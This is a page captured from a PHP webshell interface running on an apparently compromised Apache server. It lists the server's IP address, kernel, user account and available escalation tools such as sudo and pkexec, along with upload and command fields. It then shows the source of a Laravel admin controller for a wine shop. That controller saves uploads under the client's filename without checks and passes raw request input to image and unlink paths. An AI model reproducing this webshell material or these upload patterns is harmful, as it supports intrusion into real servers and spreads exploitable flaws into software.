403Webshell
Server IP : 54.233.248.239  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/app/Modules/Estado/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/app/Modules/Estado/Controllers/Admin/AdminEstadoController.php
<?php

namespace App\Modules\Estado\Controllers\Admin;

use Illuminate\Http\Request;
use Mail;
use Exception;
use App\Http\Requests;
use App\Http\Controllers\BaseController;
use App\Modules\Estado\Models\Estado;

class AdminEstadoController extends BaseController
{
	private $modulo;
	private $fields;
	private $fks;
	private $lastInsertId;

    public function __construct(){
		parent::__construct();
		$this->middleware('auth');
		$this->modulo = \App\Gerador::where('nome', 'Estado')->with('campos', 'fks')->first();
		$this->fields = $this->modulo->campos;
		$this->fks = $this->modulo->fks;
		$this->estado_m = new Estado();
	}

	public function index(){
		$query = $this->estado_m->select('estado.*');

		$data['fields_listagem'] = array();
		foreach ($this->fields as $field) {
			if($field->listagem){
				$data['fields_listagem'][] = $field;
			}
		}
		foreach ($this->fks as $fk) {
			if($fk->listagem){
				if($fk->campoRelacionado->translatable){
					$table = $fk->moduloRelacionado->nome_tabela.'_descricao';
					$on = $fk->moduloRelacionado->nome_tabela.'_descricao.'.$fk->moduloRelacionado->nome_tabela.'_id';
				}else{
					$table = $fk->moduloRelacionado->nome_tabela;
					$on = $fk->moduloRelacionado->nome_tabela.'.id';
				}
				$query->leftJoin($table, 'estado.'.$fk->nome, '=', $on);
				$query->addSelect($table.'.'.$fk->campoRelacionado->nome.' as fk'.$fk->id);
				$data['fields_listagem'][] = $fk;
			}
			
		}

		$data['estados'] = $query->groupBy('estado.id')->get();

		usort($data['fields_listagem'], function($a, $b) {
		    return $a->ordem - $b->ordem;
		});

		return view('Estado::admin/estado',$data);
	}

	public function add(){
		$data = array();
		$data['modulo'] = $this->modulo;
		$data['fields'] = [];
		foreach ($this->fields as $field) {
			$data['fields'][] = $field;
		}
		foreach ($this->fks as $fk) {
			$data['fields'][] = $fk;
		}
		usort($data['fields'], function($a, $b) {
		    return $a->ordem - $b->ordem;
		});
		foreach ($this->fks as $fk) {
			$classPath = '\App\Modules\\'.$fk->moduloRelacionado->nome.'\Models\\'.$fk->moduloRelacionado->nome;
			$data['array_'.$fk->nome] = $classPath::get();
		}
		$data['nextId'] = $this->estado_m->getNextAutoIncrement();
		return view('Estado::admin/form-estado', $data);
	}

	public function edit($slug){
		$id = Estado::where('slug', $slug)->value('id');
		$data['modulo'] = $this->modulo;
		$data['fields'] = [];
		foreach ($this->fields as $field) {
			$data['fields'][] = $field;
		}
		foreach ($this->fks as $fk) {
			$data['fields'][] = $fk;
		}
		usort($data['fields'], function($a, $b) {
		    return $a->ordem - $b->ordem;
		});
		foreach ($this->fks as $fk) {
			$classPath = '\App\Modules\\'.$fk->moduloRelacionado->nome.'\Models\\'.$fk->moduloRelacionado->nome;
			$data['array_'.$fk->nome] = $classPath::get();
		}
		$data['estado'] = $this->estado_m->find($id);
		if($this->modulo->galeria){
			$data['estado']->imagens = $this->estado_m->getImagens($id);
		}
		return view('Estado::admin/form-estado',$data);
	}



	public function save(Request $request){
		$post = $request->input();

		$post['meta_keywords'] = (isset($post['meta_keywords'])) ? implode(',',$post['meta_keywords']) : null;

		foreach ($this->fields as $field) {
			$arrayFields[] = $field->nome;
		}
		foreach ($this->fks as $fk) {
			$arrayFields[] = $fk->nome;
		}
		if($this->modulo->imagem){
			$arrayFields[] = 'thumbnail_principal';
		}

		if($request->input('id')){
			$id_estado = $this->estado_m->editar($arrayFields, $post, $request->input('id'));
		}else{
			$id_estado = $this->estado_m->criar($arrayFields, $post);
		}
		\Session::flash('type', 'success');
      \Session::flash('message', "Alteracoes salvas com sucesso!");
		return redirect('admin/estado');

	}



	public function upload_image(Request $request) {
		if($request->hasFile('file')) {
			//upload an image to the /img/tmp directory and return the filepath.
			$file = $request->file('file');
			$tmpFilePath = '/uploads/estado/';
			$tmpFileName = time() . '-' . $file->getClientOriginalName();
			$file = $file->move(public_path() . $tmpFilePath, $tmpFileName);
			$path = $tmpFilePath . $tmpFileName;
			return response()->json(array('path'=> $path, 'file_name'=>$tmpFileName), 200);
		} else {
			return response()->json(false, 200);
		}
	}

	public function upload_galeria($id, Request $request) {
		if($request->hasFile('file')) {
			//upload an image to the /img/tmp directory and return the filepath.
			$file = $request->file('file');
			$tmpFilePath = '/uploads/estado/';
			$tmpFileName = time() . '-' . $file->getClientOriginalName();
			$file = $file->move(public_path() . $tmpFilePath, $tmpFileName);
			$path = $tmpFilePath . $tmpFileName;

			$this->estado_m->criar_imagem(array('id_estado' => $id, 'thumbnail_principal' => $tmpFileName));

			return response()->json(array('path'=> $path, 'file_name'=>$tmpFileName), 200);
		} else {
			return response()->json(false, 200);
		}
	}

	public function crop_image(Request $request) {
		$img = \Image::make('uploads/estado/'.$request->input('file_name'));
		$dataCrop = json_decode($request->input('data_crop'));
		if($img->crop(intval($dataCrop->width), intval($dataCrop->height), intval($dataCrop->x), intval($dataCrop->y))->save('uploads/estado/thumb_'.$request->input('file_name'))){
			@unlink('uploads/estado/'.$request->input('file_name'));
			echo json_encode(array(
				'status' => true,
				'path' => '/uploads/estado/thumb_'.$request->input('file_name'),
				'file_name' => 'thumb_'.$request->input('file_name'),
			));
		}else{
			echo json_encode(array(
				'status' => false,
				'message' => 'Não foi possível alterar a imagem.'
			));
		}

	}

	public function delete($slug){
		$id = Estado::where('slug', $slug)->value('id');
		$this->estado_m->deletar($id);

		\Session::flash('type', 'success');
      \Session::flash('message', "Registro removido com sucesso!");
		return redirect('admin/estado');
	}

	public function delete_imagem($id){
		try{
			$imagem = $this->estado_m->getImagem($id);
			$this->estado_m->deletar_imagem($id);

			unlink('uploads/estado/'.$imagem->thumbnail_principal);

			return response()->json(array('status' => true, 'message' => 'Registro removido com sucesso!'));
		}catch(Exception $e){
			return response()->json(array('status' => false, 'message' => $e->getMessage()));
		}


	}

	private function slugify($string)
    {
        return strtolower(trim(preg_replace('~[^0-9a-z]+~i', '-', html_entity_decode(preg_replace('~&([a-z]{1,2})(?:acute|cedil|circ|grave|lig|orn|ring|slash|th|tilde|uml);~i', '$1', htmlentities($string, ENT_QUOTES, 'UTF-8')), ENT_QUOTES, 'UTF-8')), '-'));
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit